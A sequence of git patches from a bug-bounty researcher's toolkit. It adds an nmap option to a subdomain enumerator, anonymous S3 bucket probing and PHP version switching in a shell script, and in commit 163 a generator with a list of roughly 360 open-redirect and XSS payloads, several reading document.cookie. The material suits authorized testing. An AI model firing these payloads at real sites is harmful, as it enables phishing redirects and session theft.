'{}{}:\t{}{}{}'.format(colors['white'], line_counter + 2, colors['grey'], site_source[line_counter + 1].strip(), colors['white']) - - -def main(site_url): - snapshot_filename = create_filename_from_url(site_url) - differencies = 0 - - res = send_request(site_url) - - if res.status_code != 200: - abort(res.status_code) - - if os.path.isfile(snapshot_filename): - print '\n{}[+] snapshot found, compare snapshot with current source...{}'.format( - colors['green'], colors['white']) - snapshot_source = open(snapshot_filename, 'r').readlines() - site_source = res.text.encode('utf-8').split('\n') - line_counter = 0 - - for snapshot_line in snapshot_source: - if snapshot_line.strip() != site_source[line_counter].strip(): - print_diff(snapshot_source, site_source, line_counter) - differencies = differencies + 1 - - line_counter = line_counter + 1 - print '\n\n{}'.format('-' * 92) - - else: - print '\n{}[+] snapshot not found, saving snapshot...{}'.format( - colors['green'], colors['white']) - f = open(snapshot_filename, 'w') - f.write(res.text.encode('utf-8')) - exit(0) - - if differencies > 0: - print '{}[+] {} differencies between snapshot and current source found{}'.format( - colors['green'], differencies, colors['white']) - else: - print '{}[+] no differencies found; snapshot and current {} source are identical{}'.format( - colors['green'], site_url, colors['white']) - - print '\n{}[+] DONE.{}'.format(colors['green'], colors['white']) - - -if __name__ == "__main__": - - parser = argparse.ArgumentParser() - parser.add_argument( - "url", help="An url to webiste/file (eg. https://hackerone.com or https://www.google-analytics.com/plugins/ua/ec.js)") - - args = parser.parse_args() - site_url = args.url - - main(site_url) From 1a282fb70fe951cee3a9fbca0ad910882e3b0ccf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 30 Dec 2020 20:29:57 +0000 Subject: [PATCH 159/460] [denumerator] --nmap option to enable nmap scan (off by default) --- denumerator/denumerator.py | 37 +++++++++++++++++++++++-------------- 1 file changed, 23 insertions(+), 14 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 2f6d2cc..c784252 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -63,7 +63,7 @@ requests.packages.urllib3.disable_warnings() timeout = 2 - +nmap = False def usage(): """ @@ -144,14 +144,15 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ ip_html = ip_html + "

IP: {}

".format( ip.split(b"address")[1].decode("utf-8") ) ip_html = ip_html + "
" - # nmap scan results - open_ports = [port for port in nmap_output.stdout.split( - b"\n") if port.find(b"open") > 0] - nmap_html = "
" - for port in open_ports: - nmap_html = nmap_html + \ - "

{}

".format(port.decode("utf-8")) - nmap_html = nmap_html + "
" + if nmap == True: + # nmap scan results + open_ports = [port for port in nmap_output.stdout.split( + b"\n") if port.find(b"open") > 0] + nmap_html = "
" + for port in open_ports: + nmap_html = nmap_html + \ + "

{}

".format(port.decode("utf-8")) + nmap_html = nmap_html + "
" # HTTP response headers response_headers_html = "" @@ -243,12 +244,14 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, print('\n{}[+] Checking domain {} from {}...{}'.format(colors['grey'], iterator, number_of_domains, colors['white'])) # IP address ip = subprocess.run(["host", d], capture_output=True, timeout=15).stdout + nmap_output = '' - # perform nmap scan - nmap_output = subprocess.run( - ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) - print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") - for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) + if nmap == True: + # perform nmap scan + nmap_output = subprocess.run( + ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) + print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") + for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) send_request('http', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) @@ -300,6 +303,9 @@ def main(): parser.add_argument( "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' ) + parser.add_argument( + "-n", "--nmap", help="use nmap for port scanning (slows down the whole eenumeration A LOT, so be warned!)", default=100 + ) parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 ) @@ -308,6 +314,9 @@ def main(): if args.timeout: timeout = args.timeout + if args.nmap: + nmap = True + if args.output: output_file = open(args.output, 'w+') else: From 8c966838ffd945122bdcce92c71670946936976b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 30 Dec 2020 20:30:05 +0000 Subject: [PATCH 160/460] some cleanups --- encoder/ed.py | 94 --------------------------------- encoder/test.txt | 1 - nodestructor/js/foobar.js | 7 +-- nodestructor/nodestructor.py | 2 +- nodestructor/static_analysis.py | 14 ++--- 5 files changed, 12 insertions(+), 106 deletions(-) delete mode 100755 encoder/ed.py delete mode 100644 encoder/test.txt diff --git a/encoder/ed.py b/encoder/ed.py deleted file mode 100755 index 04f29ba..0000000 --- a/encoder/ed.py +++ /dev/null @@ -1,94 +0,0 @@ -#!/usr/bin/env python -"""ED encoder/decoder tools - bl4de | bloorq@gmail.com | Twitter: @_bl4de | H1: bl4de | GitHub: bl4de - - Simple encoder/decoder tool - ./ed.py [string to encode] [input encoding] [output encoding] -""" -import base64 -import sys -import urllib - - -def __get_char_hex_value(c): - """returns 61; for 'a' truncated from 0x61""" - return hex(ord(c)).replace("0x", "") - - -def to_base_64(s): - return base64.b64encode(s) - - -def from_base_64(s): - return base64.b64decode(s) - - -def url_encode(s): - return urllib.quote(s) - - -def to_ascii(s): - return s - - -def from_ascii(s): - return s - - -def from_hex(s): - xs = "" - for d in list(s): - xs += str(int(d, 10)) - - return xs - - -def to_hex(s): - xs = "" - for d in list(s): - hexnum = str(hex(ord(d))).replace("0x", "") - if len(hexnum) < 2: - hexnum = "0" + hexnum - xs += hexnum + " " - - return xs - - -def to_html_entities(s): - xs = "" - for c in s: - entity = "�" + __get_char_hex_value(c) + ";" - if entity: - xs += entity - return xs - - -if __name__ == "__main__": - fn_map_from = { - "base64": from_base_64, - "ascii": from_ascii, - "hex": from_hex - } - - fn_map_to = { - "base64": to_base_64, - "ascii": to_ascii, - "url": url_encode, - "hex": to_hex, - "html_entities": to_html_entities - } - - if len(sys.argv) != 4: - print "usage: ed.py [string] [input] [output]" \ - "\n\n input: base64, ascii, hex\n " \ - "output: base64, ascii, url, hex, html_entities ( eg. )" - exit(0) - - # f = open(sys.argv[1], "r") - # # TODO remove special chars - arg passing - # data = f.readline().replace("\\n", "") - - data = sys.argv[1] - output = fn_map_from[sys.argv[2]](fn_map_to[sys.argv[3]](data)) - - print output diff --git a/encoder/test.txt b/encoder/test.txt deleted file mode 100644 index 2b804be..0000000 --- a/encoder/test.txt +++ /dev/null @@ -1 +0,0 @@ -script \ No newline at end of file diff --git a/nodestructor/js/foobar.js b/nodestructor/js/foobar.js index 6f62558..3626b08 100644 --- a/nodestructor/js/foobar.js +++ b/nodestructor/js/foobar.js @@ -1,8 +1,9 @@ -'use strict' +'use strict'; function fn(arg) { return arg } -let x = 20 -x = fn(x) \ No newline at end of file +let x = 20; +const TEST = 12; +x = fn(x); \ No newline at end of file diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index cc775df..83f4b01 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -16,7 +16,7 @@ import re import argparse -from imports.beautyConsole import beautyConsole +from .imports.beautyConsole import beautyConsole banner = r""" diff --git a/nodestructor/static_analysis.py b/nodestructor/static_analysis.py index 806848a..ae17601 100755 --- a/nodestructor/static_analysis.py +++ b/nodestructor/static_analysis.py @@ -5,7 +5,7 @@ from imports.beautyConsole import beautyConsole -jsfile = open('/Users/bl4de/tmp/AppMeasurement.js', 'r') +jsfile = open('/Users/bl4de/hacking/bugbounty/Roche_Private/src/admin-client.js', 'r') file_read = jsfile.readlines() @@ -34,17 +34,17 @@ def decorate_source(src_line): if ARGS.variable: variable_to_trace = ARGS.variable.strip() -print "\n\n[+] STARTING ANALYSIS...\n" +print("\n\n[+] STARTING ANALYSIS...\n") for line in file_read: line = line.replace('\n', '') line_no = line_no + 1 - # print "line {}: {}".format(line_no, line) res = re.search(variable_definition_regex, line) if res: variable_name = res.group(2) if variable_name == variable_to_trace: - print "\n[+] found {} variable definition in line {}:\n {}".format(decorate_varname(variable_name), line_no, decorate_source(line)) + print("\n[+] found {} variable definition in line {}:\n {}"\ + .format(decorate_varname(variable_name), line_no, decorate_source(line))) inner_line_no = 0 if variable_name == variable_to_trace: @@ -52,8 +52,8 @@ def decorate_source(src_line): inner_line = inner_line.replace('\n', '') inner_line_no = inner_line_no + 1 if variable_name + '=' in inner_line.replace(' ', ''): - print "\n\t{} used in assignment in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line)) + print("\n\t{} used in assignment in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line))) if '({})'.format(variable_name) in inner_line.replace(' ', ''): - print "\n\t{} used in function call as an argument in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line)) + print("\n\t{} used in function call as an argument in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line))) -print "\n\n[+] DONE\n" +print("\n\n[+] DONE\n") From 6aee5fcb197efd8d08ae7cbddfaf238e2ec95a73 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 10 Jan 2021 12:28:05 +0000 Subject: [PATCH 161/460] bugfixes and updates --- denumerator/denumerator.py | 13 ++++++++----- nodestructor/imports/beautyConsole.py | 2 +- nodestructor/nodestructor.py | 2 +- s0mbra.sh | 5 +++-- 4 files changed, 13 insertions(+), 9 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index c784252..9cb7d3a 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -317,11 +317,6 @@ def main(): if args.nmap: nmap = True - if args.output: - output_file = open(args.output, 'w+') - else: - output_file = False - if args.dir: output_directory = args.dir else: @@ -351,6 +346,14 @@ def main(): # starts output HTML html_output = open('reports/{}/__denumerator_report.html'.format(output_directory), 'w+') create_output_header(html_output) + + # if output filename was specified, create it and use to write report result + if args.output: + output_filename = os.path.join('reports', output_directory, args.output) + output_file = open(output_filename, 'w+') + else: + output_file = '__enumerated_domains.txt' + # main loop enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, output_directory, show) diff --git a/nodestructor/imports/beautyConsole.py b/nodestructor/imports/beautyConsole.py index 4c7f68d..603135f 100755 --- a/nodestructor/imports/beautyConsole.py +++ b/nodestructor/imports/beautyConsole.py @@ -20,7 +20,7 @@ class beautyConsole: "cyan": '\33[36m', "grey": '\33[90m', "lightgrey": '\33[37m', - "lightblue": '\33[94' + "lightblue": '\33[36' } characters = { diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 83f4b01..cc775df 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -16,7 +16,7 @@ import re import argparse -from .imports.beautyConsole import beautyConsole +from imports.beautyConsole import beautyConsole banner = r""" diff --git a/s0mbra.sh b/s0mbra.sh index 3894de1..ddf513b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -277,10 +277,11 @@ s3() { "list-objects" ) for cmd in "${s3api[@]}"; do + echo -e "---------------------------------------------------------------------------------" aws s3api "$cmd" --bucket "$1" --no-sign-request 2> /dev/null if [[ "$?" == 0 ]]; then - echo -e "\n$GREEN+ $cmd works!$CLR\n" - aws s3api "$cmd" --bucket "$1" --no-sign-request + echo -e "\n\n$GREEN+ $cmd works!$CLR\n" + aws s3api "$cmd" --bucket "$1" --no-sign-request 2> /dev/null elif [[ "$?" != 0 ]]; then echo -e "\n$RED- nope, $cmd does not seem to be working... :/$CLR" fi From 91d8dc8f0e070e840044d77d0383377627742e16 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 10 Jan 2021 12:59:37 +0000 Subject: [PATCH 162/460] [denumerator] bugfix for using nmap_html before declaration --- denumerator/denumerator.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 9cb7d3a..4d6116b 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -144,15 +144,15 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ ip_html = ip_html + "

IP: {}

".format( ip.split(b"address")[1].decode("utf-8") ) ip_html = ip_html + "
" + nmap_html = "
" if nmap == True: # nmap scan results open_ports = [port for port in nmap_output.stdout.split( b"\n") if port.find(b"open") > 0] - nmap_html = "
" for port in open_ports: nmap_html = nmap_html + \ "

{}

".format(port.decode("utf-8")) - nmap_html = nmap_html + "
" + nmap_html = nmap_html + "
" # HTTP response headers response_headers_html = "" From df02726251b5ee876b22dcd13207d54f6c28a7f6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 15 Jan 2021 01:34:17 +0000 Subject: [PATCH 163/460] [redir_gen] - Python tool to generate open redirect payloads (forked from https://gist.github.com/zPrototype/b211ae91e2b082420c350c28b6674170) --- redir_gen/payloads.txt | 363 +++++++++++++++++++++++++++++++++++++++++ redir_gen/redirgen.py | 33 ++++ 2 files changed, 396 insertions(+) create mode 100644 redir_gen/payloads.txt create mode 100755 redir_gen/redirgen.py diff --git a/redir_gen/payloads.txt b/redir_gen/payloads.txt new file mode 100644 index 0000000..242b846 --- /dev/null +++ b/redir_gen/payloads.txt @@ -0,0 +1,363 @@ +//DEST/%2f.. +//TARGET@DEST/%2f.. +///DEST/%2f.. +///TARGET@DEST/%2f.. +////DEST/%2f.. +////TARGET@DEST/%2f.. +https://DEST/%2f.. +https://TARGET@DEST/%2f.. +/https://DEST/%2f.. +/https://TARGET@DEST/%2f.. +//DEST/%2f%2e%2e +//TARGET@DEST/%2f%2e%2e +///DEST/%2f%2e%2e +///TARGET@DEST/%2f%2e%2e +////DEST/%2f%2e%2e +////TARGET@DEST/%2f%2e%2e +https://DEST/%2f%2e%2e +https://TARGET@DEST/%2f%2e%2e +/https://DEST/%2f%2e%2e +/https://TARGET@DEST/%2f%2e%2e +//DEST/ +//TARGET@DEST/ +///DEST/ +///TARGET@DEST/ +////DEST/ +////TARGET@DEST/ +https://DEST/ +https://TARGET@DEST/ +/https://DEST/ +/https://TARGET@DEST/ +//DEST// +//TARGET@DEST// +///DEST// +///TARGET@DEST// +////DEST// +////TARGET@DEST// +https://DEST// +https://TARGET@DEST// +//https://DEST// +//https://TARGET@DEST// +//DEST/%2e%2e%2f +//TARGET@DEST/%2e%2e%2f +///DEST/%2e%2e%2f +///TARGET@DEST/%2e%2e%2f +////DEST/%2e%2e%2f +////TARGET@DEST/%2e%2e%2f +https://DEST/%2e%2e%2f +https://TARGET@DEST/%2e%2e%2f +//https://DEST/%2e%2e%2f +//https://TARGET@DEST/%2e%2e%2f +///DEST/%2e%2e +///TARGET@DEST/%2e%2e +////DEST/%2e%2e +////TARGET@DEST/%2e%2e +https:///DEST/%2e%2e +https:///TARGET@DEST/%2e%2e +//https:///DEST/%2e%2e +//TARGET@https:///DEST/%2e%2e +/https://DEST/%2e%2e +/https://TARGET@DEST/%2e%2e +///DEST/%2f%2e%2e +///TARGET@DEST/%2f%2e%2e +////DEST/%2f%2e%2e +////TARGET@DEST/%2f%2e%2e +https:///DEST/%2f%2e%2e +https:///TARGET@DEST/%2f%2e%2e +/https://DEST/%2f%2e%2e +/https://TARGET@DEST/%2f%2e%2e +/https:///DEST/%2f%2e%2e +/https:///TARGET@DEST/%2f%2e%2e +/%09/DEST +/%09/TARGET@DEST +//%09/DEST +//%09/TARGET@DEST +///%09/DEST +///%09/TARGET@DEST +////%09/DEST +////%09/TARGET@DEST +https://%09/DEST +https://%09/TARGET@DEST +/%5cDEST +/%5cTARGET@DEST +//%5cDEST +//%5cTARGET@DEST +///%5cDEST +///%5cTARGET@DEST +////%5cDEST +////%5cTARGET@DEST +https://%5cDEST +https://%5cTARGET@DEST +/https://%5cDEST +/https://%5cTARGET@DEST +https://DEST +https://TARGET@DEST +javascript:alert(1); +javascript:alert(1) +//javascript:alert(1); +/javascript:alert(1); +//javascript:alert(1) +/javascript:alert(1) +javascript:%0aalert`1` +/%5cjavascript:alert(1); +/%5cjavascript:alert(1) +//%5cjavascript:alert(1); +//%5cjavascript:alert(1) +/%09/javascript:alert(1); +/%09/javascript:alert(1) +java%0d%0ascript%0d%0a:alert(0) +//DEST +http:DEST +https:DEST +//localdomain%E3%80%82pw +\/\/DEST/ +/\/DEST/ +/%2f%5c%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77/ +//\/DEST/ +//localdomain%00.pw +https://TARGET/https://DEST/ +";alert(0);// +javascript://TARGET?%a0alert%281%29 +http://0xd8.0x3a.0xd6.0xce +http://TARGET@0xd8.0x3a.0xd6.0xce +http://3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce +http://XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce +http://0xd83ad6ce +http://TARGET@0xd83ad6ce +http://3H6k7lIAiqjfNeN@0xd83ad6ce +http://XY>.7d8T\205pZM@0xd83ad6ce +http://3627734734 +http://TARGET@3627734734 +http://3H6k7lIAiqjfNeN@3627734734 +http://XY>.7d8T\205pZM@3627734734 +http://472.314.470.462 +http://TARGET@472.314.470.462 +http://3H6k7lIAiqjfNeN@472.314.470.462 +http://XY>.7d8T\205pZM@472.314.470.462 +http://0330.072.0326.0316 +http://TARGET@0330.072.0326.0316 +http://3H6k7lIAiqjfNeN@0330.072.0326.0316 +http://XY>.7d8T\205pZM@0330.072.0326.0316 +http://00330.00072.0000326.00000316 +http://TARGET@00330.00072.0000326.00000316 +http://3H6k7lIAiqjfNeN@00330.00072.0000326.00000316 +http://XY>.7d8T\205pZM@00330.00072.0000326.00000316 +http://[::216.58.214.206] +http://TARGET@[::216.58.214.206] +http://3H6k7lIAiqjfNeN@[::216.58.214.206] +http://XY>.7d8T\205pZM@[::216.58.214.206] +http://[::ffff:216.58.214.206] +http://TARGET@[::ffff:216.58.214.206] +http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206] +http://XY>.7d8T\205pZM@[::ffff:216.58.214.206] +http://0xd8.072.54990 +http://TARGET@0xd8.072.54990 +http://3H6k7lIAiqjfNeN@0xd8.072.54990 +http://XY>.7d8T\205pZM@0xd8.072.54990 +http://0xd8.3856078 +http://TARGET@0xd8.3856078 +http://3H6k7lIAiqjfNeN@0xd8.3856078 +http://XY>.7d8T\205pZM@0xd8.3856078 +http://00330.3856078 +http://TARGET@00330.3856078 +http://3H6k7lIAiqjfNeN@00330.3856078 +http://XY>.7d8T\205pZM@00330.3856078 +http://00330.0x3a.54990 +http://TARGET@00330.0x3a.54990 +http://3H6k7lIAiqjfNeN@00330.0x3a.54990 +http://XY>.7d8T\205pZM@00330.0x3a.54990 +http:0xd8.0x3a.0xd6.0xce +http:TARGET@0xd8.0x3a.0xd6.0xce +http:3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce +http:XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce +http:0xd83ad6ce +http:TARGET@0xd83ad6ce +http:3H6k7lIAiqjfNeN@0xd83ad6ce +http:XY>.7d8T\205pZM@0xd83ad6ce +http:3627734734 +http:TARGET@3627734734 +http:3H6k7lIAiqjfNeN@3627734734 +http:XY>.7d8T\205pZM@3627734734 +http:472.314.470.462 +http:TARGET@472.314.470.462 +http:3H6k7lIAiqjfNeN@472.314.470.462 +http:XY>.7d8T\205pZM@472.314.470.462 +http:0330.072.0326.0316 +http:TARGET@0330.072.0326.0316 +http:3H6k7lIAiqjfNeN@0330.072.0326.0316 +http:XY>.7d8T\205pZM@0330.072.0326.0316 +http:00330.00072.0000326.00000316 +http:TARGET@00330.00072.0000326.00000316 +http:3H6k7lIAiqjfNeN@00330.00072.0000326.00000316 +http:XY>.7d8T\205pZM@00330.00072.0000326.00000316 +http:[::216.58.214.206] +http:TARGET@[::216.58.214.206] +http:3H6k7lIAiqjfNeN@[::216.58.214.206] +http:XY>.7d8T\205pZM@[::216.58.214.206] +http:[::ffff:216.58.214.206] +http:TARGET@[::ffff:216.58.214.206] +http:3H6k7lIAiqjfNeN@[::ffff:216.58.214.206] +http:XY>.7d8T\205pZM@[::ffff:216.58.214.206] +http:0xd8.072.54990 +http:TARGET@0xd8.072.54990 +http:3H6k7lIAiqjfNeN@0xd8.072.54990 +http:XY>.7d8T\205pZM@0xd8.072.54990 +http:0xd8.3856078 +http:TARGET@0xd8.3856078 +http:3H6k7lIAiqjfNeN@0xd8.3856078 +http:XY>.7d8T\205pZM@0xd8.3856078 +http:00330.3856078 +http:TARGET@00330.3856078 +http:3H6k7lIAiqjfNeN@00330.3856078 +http:XY>.7d8T\205pZM@00330.3856078 +http:00330.0x3a.54990 +http:TARGET@00330.0x3a.54990 +http:3H6k7lIAiqjfNeN@00330.0x3a.54990 +http:XY>.7d8T\205pZM@00330.0x3a.54990 +〱DEST +〵DEST +ゝDEST +ーDEST +ーDEST +/〱DEST +/〵DEST +/ゝDEST +/ーDEST +/ーDEST +%68%74%74%70%73%3a%2f%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77 +https://%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77 +<>javascript:alert(1); +<>//DEST +//DEST\@TARGET +https://:@DEST\@TARGET +\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1) +\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1) +ja\nva\tscript\r:alert(1) +\j\av\a\s\cr\i\pt\:\a\l\ert\(1\) +\152\141\166\141\163\143\162\151\160\164\072alert(1) +http://DEST:80#@TARGET/ +http://DEST:80?@TARGET/ +http://3H6k7lIAiqjfNeN@TARGET+@DEST/ +http://3H6k7lIAiqjfNeN@TARGET⁺@DEST/ +http://XY>.7d8T\205pZM@TARGET+@DEST/ +http://XY>.7d8T\205pZM@TARGET⁺@DEST/ +http://3H6k7lIAiqjfNeN@TARGET@DEST/ +http://XY>.7d8T\205pZM@TARGET@DEST/ +http://TARGET+&@DEST#+@TARGET/ +http://TARGET⁺&@DEST#⁺@TARGET/ +http://DEST\tTARGET/ +//DEST:80#@TARGET/ +//DEST:80?@TARGET/ +//3H6k7lIAiqjfNeN@TARGET+@DEST/ +//3H6k7lIAiqjfNeN@TARGET⁺@DEST/ +//XY>.7d8T\205pZM@TARGET+@DEST/ +//XY>.7d8T\205pZM@TARGET⁺@DEST/ +//3H6k7lIAiqjfNeN@TARGET@DEST/ +//XY>.7d8T\205pZM@TARGET@DEST/ +//TARGET+&@DEST#+@TARGET/ +//TARGET⁺&@DEST#⁺@TARGET/ +//DEST\tTARGET/ +//;@DEST +//﹔@DEST +http://;@DEST +http://﹔@DEST +@DEST +javascript://https://TARGET/?z=%0Aalert(1) +data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4= +http://DEST%2f%2f.TARGET/ +http://DEST%5c%5c.TARGET/ +http://DEST%3F.TARGET/ +http://DEST%23.TARGET/ +http://TARGET:80%40DEST/ +http://TARGET%2eDEST/ +/x:1/:///%01javascript:alert(document.cookie)/ +/https:/%5cDEST/ +https:/%5cDEST/ +javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie) +javascripT://TARGET/%250d%250aalert(document.cookie) +/http://DEST +/%2f%2fDEST +//%2f%2fDEST +/DEST/%2f%2e%2e +/http:/DEST +http:/DEST +/.DEST +http://.DEST +.DEST +///\;@DEST +///\﹔@DEST +///DEST +/////DEST/ +/////DEST +ja vascript:alert(1) +ja vascript:alert(1) +ja vascript:alert(1) +javascript:alert() +javascript:alert() +javascript:alert() +javascript:alert(1) +javascript:alert() +javascript:alert() +javascript:alert`` +javascript:alert%60%60 +javascript:x='%27-alert(1)-%27'; +javascript:%61%6c%65%72%74%28%29 +javascript:a\u006Cert``" +javascript:\u0061\u006C\u0065\u0072\u0074`` +java%0ascript:alert(1) +%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(1) +java%09script:alert(1) +java%0dscript:alert(1) +javascript://%0aalert(1) +javascript://%0aalert`1` +Javas%26%2399;ript:alert(1) +data:TARGET;text/html;charset=UTF-8, +jaVAscript://TARGET//%0d%0aalert(1);// +http://www.DEST\.TARGET +%19Jav%09asc%09ript:https%20://TARGET/%250Aconfirm%25281%2529 +%01https://DEST +TARGET;@DEST +TARGET﹔@DEST +https://TARGET;@DEST +https://TARGET﹔@DEST +http:%0a%0dDEST +https://%0a%0dDEST +DEST/TARGET +https://DEST/TARGET +//DEST/TARGET +javascript:alert(document.domain)//:// +/#//DEST +#//DEST +https%3A/DEST +https%3A/;@DEST +https%3A/﹔@DEST +javascript:%250Aalert(1) +javascript:alert(1)//https://TARGET +°/DEST +////DEST +//DEST? +//.@.@DEST +javascript:new%20Function`al\ert\`1\``; +%09Jav%09ascript:alert(1) +https://DEST\ᵗTARGET +//DEST\ᵗTARGET +https://TARGET。₨/ +//TARGET。₨/ +https://DEST\udfff@TARGET/ +//DEST\udfff@TARGET/ +https://DEST�@TARGET/ +//DEST�@TARGET/ +https://TARGET%40%E2%80%AE@wp.niamodlacol +https://TARGET%40%E2%80%AE@DEST +https://TARGET@%E2%80%AE@wp.niamodlacol +https://TARGET@%E2%80%AE@DEST +https://TARGET@/%E2%80%AE@wp.niamodlacol +https://TARGET@/%E2%80%AE@DEST +https://TARGET@'#DEST +javascript:alert(1)//DEST/ +javascript:alert(1)//TARGET/ +Javascript://%E2%80%A9alert(618) +https://TARGET%09.DEST +TARGET%09.DEST +https://TARGET%252eDEST +TARGET%252eDEST \ No newline at end of file diff --git a/redir_gen/redirgen.py b/redir_gen/redirgen.py new file mode 100755 index 0000000..e1116a4 --- /dev/null +++ b/redir_gen/redirgen.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python3 +# Forked from https://gist.github.com/zPrototype/b211ae91e2b082420c350c28b6674170 + +import re +import argparse + +parser = argparse.ArgumentParser() +parser.add_argument("--target", "-t", action="store", help="Enter the target address", required=True) +parser.add_argument("--dest", "-d", action="store", help="Enter the address where you want to redirect to", + required=True) +parser.add_argument("--output", "-o", action="store", help="Enter output file name") +args = parser.parse_args() + +payloads = [] + +# Remove protocol from url +junk = re.compile(r"https?://") +target = junk.sub("", args.target) +dest = junk.sub("", args.dest) + +with open("payloads.txt", "r") as handle: + templates = handle.readlines() + +for payload in templates: + payload = payload.rstrip() + payload = re.sub("TARGET", target, payload) + payload = re.sub("DEST", dest, payload) + print(payload) + payloads.append(payload) + +if args.output: + with open(args.output, "w")as handle: + [handle.write(f"{x.rstrip()}\n") for x in payloads] \ No newline at end of file From 5395098a2ace2541cc387857fc44b2d76bf3851b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 20 Jan 2021 01:10:08 +0000 Subject: [PATCH 164/460] [s0mbra] PHP 7 <-> 8 versions switching added (some stuff does not work well with PHP 8) --- s0mbra.sh | 37 +++++++++++++++++++++++++++++++++++-- 1 file changed, 35 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index ddf513b..311558c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -89,9 +89,9 @@ interactive() { full_nmap_scan() { echo -e "$BLUE[+] Running full nmap scan against $1 ...$CLR" echo -e "\t\t -> search all open ports..." - ports=$(nmap -Pn -p- --min-rate=1000 "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap -p- "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -Pn -n "$1" -oN ./"$1".log + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log echo -e "[+] Done!" } @@ -376,11 +376,41 @@ generate_shells() { echo -e "$NEWLINE" } +php7() { + echo -e "$BLUE[+] Switching PHP version to 7.x ...\n$YELLOW" + brew unlink php@8.0 && brew link --force php@7.4 + echo -e "$BLUE[+] Changing httpd.conf...$YELLOW" + sudo cp /private/etc/apache2/httpd.conf.php7 /private/etc/apache2/httpd.conf + echo -e "$BLUE[+] Restarting Apache...$YELLOW" + sudo apachectl -k restart + echo -e "$BLUE[+] All done, current PHP version is:\n$GREEN" + php -v + echo -e "$CLR" +} + +php8() { + echo -e "$BLUE[+] Switching PHP version to 8.x ...\n$YELLOW" + brew unlink php@7.4 && brew link --force php@8.0 + echo -e "$BLUE[+] Changing httpd.conf...$YELLOW" + sudo cp /private/etc/apache2/httpd.conf.php8 /private/etc/apache2/httpd.conf + echo -e "$BLUE[+] Restarting Apache...$YELLOW" + sudo apachectl -k restart + echo -e "$BLUE[+] All done, current PHP version is:\n$GREEN" + php -v + echo -e "$CLR" +} + cmd=$1 clear echo "$__logo" case "$cmd" in + php7) + php7 + ;; + php8) + php8 + ;; set_ip) set_ip "$2" ;; @@ -482,6 +512,9 @@ case "$cmd" in echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tdecompile_jar [.jar FILE]\t\t\t -> open FILE.jar file in JD-Gui" + echo -e "\n::$BLUE MISC ::$CLR" + echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" + echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" echo -e "\n\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN\nHack The Planet!\n$CLR" ;; From 2d30b31f33dacb9f8c2d9546c86f70f4679617be Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Jan 2021 16:02:05 +0000 Subject: [PATCH 165/460] [s0mbra] 